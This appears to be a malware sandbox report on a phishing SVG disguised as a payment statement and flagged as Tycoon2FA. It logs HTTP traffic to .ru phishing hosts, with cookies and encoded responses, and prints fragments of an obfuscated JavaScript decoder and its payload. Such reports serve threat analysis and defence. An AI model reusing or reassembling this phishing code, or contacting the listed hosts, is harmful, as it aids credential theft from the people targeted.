FJRjlMTStHVD02Sx9kNzBUW0tgaD1eRHBbUD5ocUNRU21mZ3tVaWc/YEpkP3NAQVl9UlN2V1hphFGQfYd0bYmVc3uNlm59e3eTgpxddZlwnpJcgo2EaGmsjIOgso6Hkqikcnd4eIyRnZqQlZOyfYaBucSbi4eeyIKezJOPh7HXzamazdPKmrTNwePemtSembvGpOLV36ehw9Cqs7LWscy14cbF2MXr3M/7A+P+5cTX8t3jCMrF+t7C3AYIAMcI5
2025-03-25 15:27:24 UTC	897	IN	Data Raw: 63 4e 53 46 4f 56 30 77 34 57 79 4a 59 4d 56 6c 4b 57 32 68 76 5a 46 68 64 61 45 46 56 4e 57 59 77 4d 48 56 72 62 33 73 32 4f 58 61 41 59 57 35 41 56 58 78 33 62 31 4a 69 69 30 5a 46 58 48 71 47 53 57 53 53 59 59 79 43 68 6f 79 5a 62 59 75 53 58 4a 57 4b 57 59 47 57 6f 35 68 68 64 70 65 64 6c 4a 69 67 6f 59 5a 37 6e 59 39 69 6d 5a 71 44 72 49 79 71 68 35 61 4b 71 4b 57 76 73 61 35 36 73 4b 4b 75 72 62 53 65 74 35 5a 36 75 72 61 66 77 5a 7a 50 72 35 36 39 76 6f 33 48 69 39 61 32 70 71 2f 48 30 73 75 64 7a 37 50 4e 74 64 58 58 6c 74 66 57 32 39 76 69 79 2b 57 73 36 4e 75 2b 35 63 50 64 77 76 54 42 35 4f 47 71 30 75 61 32 36 4e 76 7a 30 4c 4c 4e 2b 4d 44 68 78 50 62 6e 2f 4e 38 4b 78 73 7a 4a 2f 4d 6b 47 34 77 51 4c 44 64 38 45 39 64 51 51 41 39 66 5a 37 51 Data Ascii: cNSFOV0w4WyJYMVlKW2hvZFhdaEFVNWYwMHVrb3s2OXaAYW5AVXx3b1Jii0ZFXHqGSWSSYYyChoyZbYuSXJWKWYGWo5hhdpedlJigoYZ7nY9imZqDrIyqh5aKqKWvsa56sKKurbSet5Z6urafwZzPr569vo3Hi9a2pq/H0sudz7PNtdXXltfW29viy+Ws6Nu+5cPdwvTB5OGq0ua26Nvz0LLN+MDhxPbn/N8KxszJ/MkG4wQLDd8E9dQQA9fZ7Q

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4354_QB_Paymt_Statemnt.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Windows Analysis Report
4354_QB_Paymt_Statemnt.svg

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:24 UTC	559	OUT	GET /kella$c421a HTTP/1.1 Host: bkh8y.hxnywi.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://ojjk.threaw.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ojjk.threaw.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:25 UTC	824	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gHWltQmp9Of1avq8g9oHRxB%2FB2OUS1NpqwgFr0M6Vvl1qB4wBmB8HH9RKKH0dIdpUqaIRBgAzYQaIPeKYppT2lTLWq%2BNTcwi5IcEGIc2nGQdn%2BQjQLUj3jzhtItqMM0Dn4c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 925f6ea4ad0732fc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105615&min_rtt=105262&rtt_var=22556&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1131&delivery_rate=35381&cwnd=237&unsent_bytes=0&cid=967ab5337d0d1ba6&ts=857&x=0"
2025-03-25 15:27:25 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-25 15:27:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:25 UTC	1414	OUT	POST /ciKgVAN5n5uWnV8r0ssDQaxpwZlag HTTP/1.1 Host: ojjk.threaw.ru Connection: keep-alive Content-Length: 1713 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJJi3y6p1uTJQeZPv sec-ch-ua-mobile: ?0 Accept: / Origin: https://ojjk.threaw.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ojjk.threaw.ru/BlKkhx/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNPOGtPQUJSeTZQYnBxTFBpc21FNmc9PSIsInZhbHVlIjoiWW5oeEFlV3hZVHFLbnc1TEgrT3NDS0QxU05oS2ZoNUltQ1JYSTNqck9hejc5UHNIT0NteUYvMVZOMUFMK2R1RTBrUE5lT2dMNm1VR3JJZTk5dG1xZTFOcHlLUGdyb3JxOUxBcHZCK2F4M2xTeENZKzltcVBQT2RaV1dldXpjTWoiLCJtYWMiOiJlYjY2YTE4YzdiZTliZjRjNTM4ZTRiMWQ4MmU1Y2Q4NWVkY2Y1MjkyNzFmZTk0YmJmZGVmNGU2Y2I0MzNiNDBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlZoWkFKY1pVaGh3WklFdExaTzJJanc9PSIsInZhbHVlIjoiTDF6b2RmSmNSamtlVDZhY1pDSkQ1ZGZPUFpTUmc1VVhldmowc1czcHQ1L0NOemJ4VkFmWENic05YUkM3aXc2cmlHVmhteDU5VUJySUJaSmY2OGlkVU9jRHNoaWVuNkpFZU5UVFE2TXNiNG5CcHowSUlXbFdtdTBwRk03OTZYdXIiLCJtYWMiOiJhM2JlZTU4MGIyM2QxNWY2MTRhZTUwM2EzZDIxZDQyYzQ3MTQ1MGU0OTAwNTVkYzhmZGJiMjQ0NDhiOWE3ZjQ5IiwidGFnIjoiIn0%3D
2025-03-25 15:27:25 UTC	1713	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4a 4a 69 33 79 36 70 31 75 54 4a 51 65 5a 50 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 50 36 54 68 6c 54 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4a 4a 69 33 79 36 70 31 75 54 4a 51 65 5a 50 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 58 68 57 56 65 59 58 4c 31 52 56 69 79 6c 6e 72 36 50 6f 4f 46 47 6e 58 6d 62 6e 5a 54 73 44 6f 54 79 69 68 4e 50 66 46 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4a 4a 69 Data Ascii: ------WebKitFormBoundaryJJi3y6p1uTJQeZPvContent-Disposition: form-data; name="bltpg"P6ThlT------WebKitFormBoundaryJJi3y6p1uTJQeZPvContent-Disposition: form-data; name="sid"XhWVeYXL1RViylnr6PoOFGnXmbnZTsDoTyihNPfF------WebKitFormBoundaryJJi
2025-03-25 15:27:26 UTC	1174	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:26 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qbfzZVGx8hhV8%2FZdT7YSCxPGOzRTulBjqlx04vDig9cQV%2Fw8dWZMVYkEY8s6YsAd85uRy8nWmkX0whhwAseBRIuD3YZa0WoM5zJd5n3J4iE1Oor8h%2F3oUYTainQR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=42127&min_rtt=41854&rtt_var=15890&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=4031&delivery_rate=69192&cwnd=82&unsent_bytes=0&cid=096eba235fd66650&ts=134&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjI0TmxlMVBiaGhndkdKRlU0ZkZiOHc9PSIsInZhbHVlIjoiUG04eTZ0UmxMUWNnQnRuR1pqWTdrRHJPVGovRkpCUi9IQVBFUjljaC82ZTZZRGdqMGUyVmdGRHVObS9tUGFMQmp4dythbHNGWk1RWlJCTkJYWWhGSHAweXFEUUpMOFc1RHhETHJQcTkyWURMQUJ1MlJmR0JTMFRETXdmVnJBREEiLCJtYWMiOiJkZmY2NmY2MGFiNjExNDMwZDMzYzEzMzY1YzUwYjM1YjgzMDM1NzEyNGQzYmZiZTRmMDg4NWJiMGY4MDNmZWExIiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 17:27:26 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 15:27:26 UTC	790	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 38 33 5a 30 31 77 5a 6b 46 36 61 6a 46 50 56 7a 42 57 56 57 5a 58 54 6e 56 53 56 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 55 56 30 4f 47 4e 70 55 55 39 54 55 56 56 57 51 32 39 50 57 53 74 61 4f 45 34 72 63 6d 31 32 65 58 42 76 53 54 6c 30 51 32 64 48 59 55 59 33 55 31 55 32 62 6a 4a 70 4b 7a 4e 6c 4f 47 35 49 52 58 56 57 62 48 6c 4e 63 55 31 7a 4d 45 6c 4b 56 54 4e 46 4e 58 4e 43 63 6e 5a 54 4e 57 70 34 62 48 64 32 4f 58 56 32 53 45 74 4b 65 6d 39 32 62 31 46 36 59 55 56 4f 51 33 64 4b 4d 45 35 46 61 46 52 6e 52 45 39 5a 64 79 39 49 56 6c 70 4e 61 45 70 33 53 30 52 51 63 7a 59 35 64 31 42 4c 4f 57 74 61 64 6e 4e 44 5a 6d 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ik83Z01wZkF6ajFPVzBWVWZXTnVSV2c9PSIsInZhbHVlIjoicUV0OGNpUU9TUVVWQ29PWStaOE4rcm12eXBvSTl0Q2dHYUY3U1U2bjJpKzNlOG5IRXVWbHlNcU1zMElKVTNFNXNCcnZTNWp4bHd2OXV2SEtKem92b1F6YUVOQ3dKME5FaFRnRE9Zdy9IVlpNaEp3S0RQczY5d1BLOWtadnNDZmk
2025-03-25 15:27:26 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-25 15:27:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:26 UTC	1468	OUT	GET /BlKkhx/ HTTP/1.1 Host: ojjk.threaw.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ojjk.threaw.ru/BlKkhx/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI0TmxlMVBiaGhndkdKRlU0ZkZiOHc9PSIsInZhbHVlIjoiUG04eTZ0UmxMUWNnQnRuR1pqWTdrRHJPVGovRkpCUi9IQVBFUjljaC82ZTZZRGdqMGUyVmdGRHVObS9tUGFMQmp4dythbHNGWk1RWlJCTkJYWWhGSHAweXFEUUpMOFc1RHhETHJQcTkyWURMQUJ1MlJmR0JTMFRETXdmVnJBREEiLCJtYWMiOiJkZmY2NmY2MGFiNjExNDMwZDMzYzEzMzY1YzUwYjM1YjgzMDM1NzEyNGQzYmZiZTRmMDg4NWJiMGY4MDNmZWExIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik83Z01wZkF6ajFPVzBWVWZXTnVSV2c9PSIsInZhbHVlIjoicUV0OGNpUU9TUVVWQ29PWStaOE4rcm12eXBvSTl0Q2dHYUY3U1U2bjJpKzNlOG5IRXVWbHlNcU1zMElKVTNFNXNCcnZTNWp4bHd2OXV2SEtKem92b1F6YUVOQ3dKME5FaFRnRE9Zdy9IVlpNaEp3S0RQczY5d1BLOWtadnNDZmkiLCJtYWMiOiIwNjhkYzY3ZTdkZDQ1MTIwNzc0ZDRmMDQyNzkzNzE3MmVhN2MxYmMwMDQ2MzcxODU3ODQ3YjY4YTU4YzVjODFjIiwidGFnIjoiIn0%3D
2025-03-25 15:27:27 UTC	1210	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nRw%2Bmrsc2kZ2CVWFk5DIT0%2BBiXGJlA3Gs%2BM23NM0RAdcAK4hJIxRp3ohO2mp7ce2JcxvjvJiV%2FqjhptwEm8tJkusrs1EIYvR19T2Q%2BYBINag9eyupc8LP8kSpe8k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=44061&min_rtt=44056&rtt_var=16531&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2365&delivery_rate=65670&cwnd=242&unsent_bytes=0&cid=c0a94892d65f9574&ts=177&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlI2QXJ5clp0cC80SVNMbEpEeE4vYkE9PSIsInZhbHVlIjoiVmE5WWNWV0kvdWVYeFpCbFplWG5LczcrSFU4dEhnSVpQUHJMRVd0VFpTQjFCbXM1dHphenpuYk9PUFlnUXF2V3ZTTmJRTmc1Wkg3QWZ4ZTNhbXlmZTg1TjlNUFcrWkQzWnRYUTVvRSt6Zm16ZmZEdllOaFpIdFFMMnI1VXAxcmciLCJtYWMiOiI3YzQ1ODM0MmQzN2Y2NWU0Y2FmYzRiMThhMTRiZTM1NjY2Yzc4Njc1NWVjM2ExNDRiZTRjNzhlMTQ3MWNiOTM2IiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 17:27:27 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 15:27:27 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 52 75 55 58 52 74 56 6d 56 4a 56 30 64 4e 5a 47 30 30 53 6b 55 76 4c 30 78 51 62 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 6a 52 43 52 46 70 33 53 7a 52 33 61 46 5a 77 61 32 6c 78 53 44 5a 71 59 30 46 53 63 54 68 4c 65 58 6c 73 62 58 68 76 51 31 56 4d 55 6a 67 7a 55 6d 56 71 64 31 56 4e 57 54 56 5a 55 45 4e 4b 64 57 4e 77 59 57 46 48 52 57 4a 6e 4b 7a 4e 36 59 31 70 47 64 44 46 46 56 45 63 77 64 6b 78 48 52 30 68 6a 56 32 46 61 59 55 63 35 54 55 56 58 4d 6d 39 4c 65 47 5a 59 54 57 4a 53 64 30 4a 78 53 55 56 51 65 47 4a 46 55 55 4a 31 54 79 74 4f 62 7a 68 4e 59 54 51 32 4f 55 35 77 55 56 55 7a 59 32 73 31 53 58 56 6d 65 6c 49 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlRuUXRtVmVJV0dNZG00SkUvL0xQb1E9PSIsInZhbHVlIjoidjRCRFp3SzR3aFZwa2lxSDZqY0FScThLeXlsbXhvQ1VMUjgzUmVqd1VNWTVZUENKdWNwYWFHRWJnKzN6Y1pGdDFFVEcwdkxHR0hjV2FaYUc5TUVXMm9LeGZYTWJSd0JxSUVQeGJFUUJ1TytObzhNYTQ2OU5wUVUzY2s1SXVmelI
2025-03-25 15:27:27 UTC	1369	IN	Data Raw: 35 30 63 62 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 4b 5a 42 6e 47 42 72 66 57 79 28 56 57 45 65 41 6b 48 45 75 58 2c 20 49 55 4a 57 6b 46 58 44 69 6d 29 20 7b 0d 0a 6c 65 74 20 71 5a 62 4b 6a 44 5a 75 49 43 20 3d 20 27 27 3b 0d 0a 56 57 45 65 41 6b 48 45 75 58 20 3d 20 61 74 6f 62 28 56 57 45 65 41 6b 48 45 75 58 29 3b 0d 0a 6c 65 74 20 72 51 54 77 4d 48 66 79 46 58 20 3d 20 49 55 4a 57 6b 46 58 44 69 6d 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 56 57 45 65 41 6b 48 45 75 58 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 71 5a 62 4b 6a 44 5a 75 49 43 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 56 57 45 65 41 6b 48 45 75 58 2e 63 68 61 72 43 Data Ascii: 50cb<script>function KZBnGBrfWy(VWEeAkHEuX, IUJWkFXDim) {let qZbKjDZuIC = '';VWEeAkHEuX = atob(VWEeAkHEuX);let rQTwMHfyFX = IUJWkFXDim.length;for (let i = 0; i < VWEeAkHEuX.length; i++) { qZbKjDZuIC += String.fromCharCode(VWEeAkHEuX.charC
2025-03-25 15:27:27 UTC	1369	IN	Data Raw: 45 54 31 73 4c 49 69 49 71 42 68 68 42 44 47 56 4f 4b 43 35 33 4a 6a 34 49 48 67 63 41 63 41 63 66 50 43 6f 5a 42 77 4d 66 63 55 30 6a 4b 42 41 41 4f 41 67 33 41 77 42 77 43 78 52 32 42 77 5a 69 41 78 4a 6e 56 69 67 45 42 67 38 70 47 7a 4d 58 55 58 41 4d 44 43 49 48 44 52 42 48 48 33 46 33 66 79 34 6f 4f 58 67 62 4f 41 52 50 58 52 67 59 4e 67 63 47 48 42 38 33 59 57 4e 2f 41 69 77 4d 66 6a 45 65 41 46 70 31 44 41 38 33 46 42 59 2b 4e 44 51 45 61 79 4d 43 4c 41 39 39 48 44 4d 55 44 33 55 4f 66 51 34 48 44 52 4d 58 48 33 56 34 4b 41 51 47 44 79 6b 62 4d 78 64 52 58 44 59 50 4c 79 6f 47 47 41 4d 5a 58 33 74 2f 4c 69 73 59 49 68 34 7a 46 45 78 59 43 43 45 6f 4b 67 6f 39 46 7a 4a 2b 63 33 34 58 46 6a 6b 70 4d 30 49 41 41 32 68 39 64 43 34 55 47 6a 30 58 47 45 Data Ascii: ET1sLIiIqBhhBDGVOKC53Jj4IHgcAcAcfPCoZBwMfcU0jKBAAOAg3AwBwCxR2BwZiAxJnVigEBg8pGzMXUXAMDCIHDRBHH3F3fy4oOXgbOARPXRgYNgcGHB83YWN/AiwMfjEeAFp1DA83FBY+NDQEayMCLA99HDMUD3UOfQ4HDRMXH3V4KAQGDykbMxdRXDYPLyoGGAMZX3t/LisYIh4zFExYCCEoKgo9FzJ+c34XFjkpM0IAA2h9dC4UGj0XGE
2025-03-25 15:27:27 UTC	1369	IN	Data Raw: 42 68 77 63 47 55 45 4a 42 41 51 47 44 79 6b 62 4f 47 5a 34 65 69 46 39 4e 51 45 35 59 6a 73 4d 63 51 41 6c 4b 52 4a 2f 49 6a 41 65 42 30 4e 67 47 42 38 75 48 42 59 49 48 44 52 59 61 77 49 73 48 51 42 2b 43 43 64 6a 57 6c 6f 6d 4b 69 73 58 66 47 73 46 4d 6e 46 76 65 79 6b 43 66 79 49 77 48 67 4e 59 64 51 77 50 4b 43 6f 5a 5a 78 6f 79 63 56 55 35 4c 79 77 6d 49 6a 59 64 41 45 4e 64 44 43 59 69 4b 7a 6c 69 4f 78 39 31 65 43 67 45 41 68 68 38 43 43 64 6a 42 6e 55 68 44 7a 77 55 46 67 67 63 4e 46 68 72 43 68 63 53 46 43 59 32 4a 79 34 47 63 67 77 6d 63 67 6f 66 50 52 63 66 64 58 67 6f 4c 69 67 59 66 6a 59 6f 48 45 4e 77 43 42 63 74 4c 41 59 63 48 42 6c 42 43 51 51 72 46 69 56 35 46 69 45 6d 51 46 70 38 49 54 59 72 42 6a 59 62 4e 58 35 6a 4f 51 51 42 66 69 6b Data Ascii: BhwcGUEJBAQGDykbOGZ4eiF9NQE5YjsMcQAlKRJ/IjAeB0NgGB8uHBYIHDRYawIsHQB+CCdjWlomKisXfGsFMnFveykCfyIwHgNYdQwPKCoZZxoycVU5LywmIjYdAENdDCYiKzliOx91eCgEAhh8CCdjBnUhDzwUFggcNFhrChcSFCY2Jy4GcgwmcgofPRcfdXgoLigYfjYoHENwCBctLAYcHBlBCQQrFiV5FiEmQFp8ITYrBjYbNX5jOQQBfik
2025-03-25 15:27:27 UTC	1369	IN	Data Raw: 43 6b 43 4b 54 30 62 4e 7a 70 44 57 42 63 66 4e 52 63 5a 4a 51 51 31 42 48 63 6e 4c 77 49 62 64 78 38 6a 59 6b 46 77 4a 58 6b 4f 42 77 30 54 53 44 4a 78 56 58 38 76 41 68 74 6c 42 7a 64 76 54 31 30 49 46 7a 4d 73 43 54 34 47 48 33 56 67 4b 42 77 53 4b 69 49 77 48 52 67 44 63 41 78 39 49 68 6f 5a 61 78 73 4d 62 6e 4d 36 42 41 41 63 49 6a 46 43 4f 6c 68 62 4a 54 6f 7a 4b 67 6b 2b 51 44 52 78 62 47 51 4f 4c 41 38 70 41 6a 63 75 52 6c 73 69 50 69 49 76 42 68 67 63 44 46 77 4a 4a 69 77 4e 48 48 34 78 4f 42 73 41 64 54 5a 30 4b 43 78 38 5a 30 41 31 54 77 77 68 4c 33 64 33 49 44 41 33 41 46 35 61 43 43 45 2f 41 69 4d 63 42 6a 52 6c 41 43 55 75 64 67 4d 33 41 6b 49 4d 58 6c 73 59 49 54 59 72 47 6d 4d 2b 4e 41 51 4d 66 79 35 33 47 44 63 78 48 52 41 47 64 69 45 70 Data Ascii: CkCKT0bNzpDWBcfNRcZJQQ1BHcnLwIbdx8jYkFwJXkOBw0TSDJxVX8vAhtlBzdvT10IFzMsCT4GH3VgKBwSKiIwHRgDcAx9IhoZaxsMbnM6BAAcIjFCOlhbJTozKgk+QDRxbGQOLA8pAjcuRlsiPiIvBhgcDFwJJiwNHH4xOBsAdTZ0KCx8Z0A1TwwhL3d3IDA3AF5aCCE/AiMcBjRlACUudgM3AkIMXlsYITYrGmM+NAQMfy53GDcxHRAGdiEp
2025-03-25 15:27:27 UTC	1369	IN	Data Raw: 64 52 59 43 4a 30 63 51 49 57 48 42 38 50 59 57 73 35 4b 54 38 68 4b 52 38 7a 46 77 5a 61 42 79 6f 69 41 43 41 51 52 42 39 2b 63 79 45 55 4b 41 73 68 48 7a 4d 68 55 58 51 4d 4f 69 49 44 44 53 55 58 47 33 55 4e 4e 77 59 52 50 51 55 62 4d 78 64 52 63 41 64 39 44 67 30 6e 45 78 63 66 64 58 73 67 46 78 49 49 4a 51 67 6f 48 31 46 59 43 77 67 69 4b 7a 6b 39 46 78 39 31 65 43 67 45 42 67 77 36 43 79 67 63 57 46 67 59 65 58 4d 48 43 68 4e 48 46 56 39 34 4b 41 51 47 44 79 6b 62 4e 77 78 41 57 79 45 63 4d 53 31 38 50 6b 59 4d 59 6c 59 6f 41 43 78 36 66 7a 45 64 41 45 4a 32 4f 43 49 69 42 77 30 54 46 78 39 31 65 79 49 76 64 33 74 2b 48 69 67 79 57 6c 67 59 4b 53 6f 71 43 6a 30 58 47 45 78 34 4f 41 49 79 49 53 6b 62 4d 78 64 52 58 78 34 69 44 67 63 4e 45 78 63 66 63 Data Ascii: dRYCJ0cQIWHB8PYWs5KT8hKR8zFwZaByoiACAQRB9+cyEUKAshHzMhUXQMOiIDDSUXG3UNNwYRPQUbMxdRcAd9Dg0nExcfdXsgFxIIJQgoH1FYCwgiKzk9Fx91eCgEBgw6CygcWFgYeXMHChNHFV94KAQGDykbNwxAWyEcMS18PkYMYlYoACx6fzEdAEJ2OCIiBw0TFx91eyIvd3t+HigyWlgYKSoqCj0XGEx4OAIyISkbMxdRXx4iDgcNExcfc
2025-03-25 15:27:27 UTC	1369	IN	Data Raw: 6b 49 68 6b 4d 59 57 4d 35 4c 69 67 62 4b 54 63 48 4f 56 46 77 44 41 77 69 42 77 30 51 47 6a 51 45 44 48 38 58 45 6e 74 2b 48 52 6b 58 57 48 4d 31 50 67 34 48 44 52 4d 58 48 33 56 34 4b 43 34 43 64 7a 51 7a 4b 41 52 47 57 33 31 35 63 77 63 4a 46 42 6b 31 42 41 41 38 4b 52 30 63 49 68 30 48 4f 56 46 77 44 41 77 69 42 77 30 51 51 44 51 46 65 48 6b 45 41 51 39 35 45 52 6b 58 55 58 41 4d 44 43 49 48 43 53 6f 63 44 46 68 6f 65 51 51 42 44 33 6b 52 47 52 64 52 63 41 77 4d 49 67 63 47 47 41 41 4d 42 46 46 2f 41 69 77 50 4f 52 30 48 4f 56 46 77 44 41 77 69 42 77 30 51 47 54 51 46 61 33 38 76 64 33 35 34 47 7a 51 58 41 58 6f 6d 44 43 49 48 44 52 4d 58 48 33 46 7a 4a 78 52 33 4f 69 41 78 48 57 38 48 57 79 49 63 63 77 63 47 47 42 34 50 57 33 77 67 41 41 59 35 4b 52 Data Ascii: kIhkMYWM5LigbKTcHOVFwDAwiBw0QGjQEDH8XEnt+HRkXWHM1Pg4HDRMXH3V4KC4CdzQzKARGW315cwcJFBk1BAA8KR0cIh0HOVFwDAwiBw0QQDQFeHkEAQ95ERkXUXAMDCIHCSocDFhoeQQBD3kRGRdRcAwMIgcGGAAMBFF/AiwPOR0HOVFwDAwiBw0QGTQFa38vd354GzQXAXomDCIHDRMXH3FzJxR3OiAxHW8HWyIccwcGGB4PW3wgAAY5KR
